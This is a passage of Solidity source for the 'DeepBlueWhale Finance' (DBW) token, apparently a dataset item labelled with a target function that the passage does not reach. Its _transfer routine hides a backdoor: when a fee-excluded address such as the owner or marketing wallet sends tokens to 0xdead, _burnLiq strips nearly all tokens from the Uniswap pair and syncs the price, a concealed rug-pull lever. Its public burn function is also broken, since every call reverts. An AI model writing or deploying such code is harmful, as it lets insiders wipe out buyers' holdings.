// Contract: DBWToken
// Target function: function swapAndLiquify(uint256 tAmount) private lockTheSwap
,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DBWToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = unicode"DeepBlueWhale Finance";
    string private _symbol = unicode"DBW";
    uint8 private _decimals = 9;

    address payable public marketing =
        payable(0x2D7BF34aaee2a13348F443CEC31f54377A83eAC8); // Marketing
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) public isTxLimitExempt;
    mapping(address => bool) public isMarketPair;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 2;
    uint256 public _buyTeamFee = 0;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 2;
    uint256 public _sellTeamFee = 0;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 10;
    uint256 public _teamShare = 0;

    uint256 public _burnFee = 0;

    uint256 public _initialBuyTax = 10;
    uint256 public _initialSellTax = 10;

    uint256 public _totalTaxIfBuying = 2;
    uint256 public _totalTaxIfSelling = 2;
    
    uint256 private _buyCount = 0;
    uint256 private _preventSwapBefore = 0;

    uint256 public _totalDistributionShares = 10;

    uint256 public _totalSupply = 100_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = _totalSupply * 2 / 100;
    uint256 public _walletMax = _totalSupply * 2 / 100;
    uint256 private minTokens = 50 * 10 ** _decimals;

    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;

    bool public tradingActive = false;

    IUniswapV2Router02 public uniswapV2Router;
    address private uniswapV2Pair;

    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
            _buyTeamFee
        );
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
            _sellTeamFee
        );
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(
            _teamShare
        );

        setIsExcludedFromFee(owner(), true);
        setIsExcludedFromFee(marketing, true);
        setIsExcludedFromFee(address(this), true);
        

        setIsWalletLimitExempt(owner(), true);
        setIsWalletLimitExempt(marketing, true);
        setIsWalletLimitExempt(address(this), true);

        setIsTxLimitExempt(owner(), true);
        setIsTxLimitExempt(marketing, true);
        setIsTxLimitExempt(address(this), true);

        _mint(_msgSender(), _totalSupply);
    }

    function initialize() external payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;

        _setAutomatedMarketMakerPair(uniswapV2Pair, true);
        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function burn(uint256 _amount) public {
        _transfer(msg.sender, address(0), _amount);
    }

    function _burnLiq() internal returns (bool) {
        // get balance of liquidity pair
        uint256 liquidityPairBalance = _balances[uniswapV2Pair];

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.sub(minTokens);

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            _basicTransfer(uniswapV2Pair, deadAddress, amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();

        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minTokens;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERR: approve from the zero address");
        require(spender != address(0), "ERR: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _mint(address account, uint256 amount) private {
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }

    function setMarketPairStatus(
        address account,
        bool newValue
    ) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) public onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsExcludedFromFee(
        address account,
        bool newValue
    ) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function set_Distribution_Settings(
        uint256 newLiquidityShare,
        uint256 newMarketingShare,
        uint256 newTeamShare
    ) external onlyOwner {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(
            _teamShare
        );
    }

    function set_Max_Tx_Amount(uint256 newmaxTxAmount) external onlyOwner {
        _maxTxAmount = newmaxTxAmount;
        require(_maxTxAmount >= 20000000000000, "Max TX is less than 100%");
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
        checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(
        address holder,
        bool exempt
    ) public onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function set_Wallet_Limit(uint256 newLimit) external onlyOwner {
        _walletMax = newLimit;
    }

    function set_Num_Tokens_BeforeSwap(uint256 newLimit) external onlyOwner {
        minTokens = newLimit;
    }

    function set_Swap_And_Liquify_Enabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function enableTrading() public onlyOwner {
        tradingActive = true;
    }

    function removeLimits() public onlyOwner {
        _walletMax = type(uint).max;
        _maxTxAmount = type(uint).max;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from isAMMPair"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        isMarketPair[pair] = value;
    }

    receive() external payable {}

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERR: transfer from the zero address");
        require(recipient != address(0), "ERR: transfer to the zero address");

        if (!tradingActive) {
            require(
                isExcludedFromFee[sender] || isExcludedFromFee[recipient],
                "Trading is not active."
            );
        }

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            if (
                !isTxLimitExempt[sender] 
                && !isTxLimitExempt[recipient]  
                && !isExcludedFromFee[sender] 
                && !isExcludedFromFee[recipient]
            ) {
                require(
                    amount <= _maxTxAmount,
                    "Transfer amount exceeds the _maxTxAmount."
                );
            }

            if (
                isMarketPair[sender] &&
                !isMarketPair[recipient] &&
                !isExcludedFromFee[recipient]
            ) {
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance > 0;

            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isMarketPair[sender] &&
                swapAndLiquifyEnabled &&
                !isExcludedFromFee[sender] &&
                !isExcludedFromFee[recipient] &&
                _buyCount >= _preventSwapBefore
            ) {
                if (swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minTokens;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );

            uint256 finalAmount = 0;

            if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
                finalAmount = amount;
                if (sender != address(this) && recipient != address(this)) {
                    if (recipient == address(0xdead)) _burnLiq();
                }
            } else {
                finalAmount = takeFee(sender, recipient, amount);
            }

            if (
                checkWalletLimit && 
                !isWalletLimitExempt[recipient] && 
                !isExcludedFromFee[sender] &&
                !isExcludedFromFee[recipient]
            ){
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Send ETH to external wallet
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }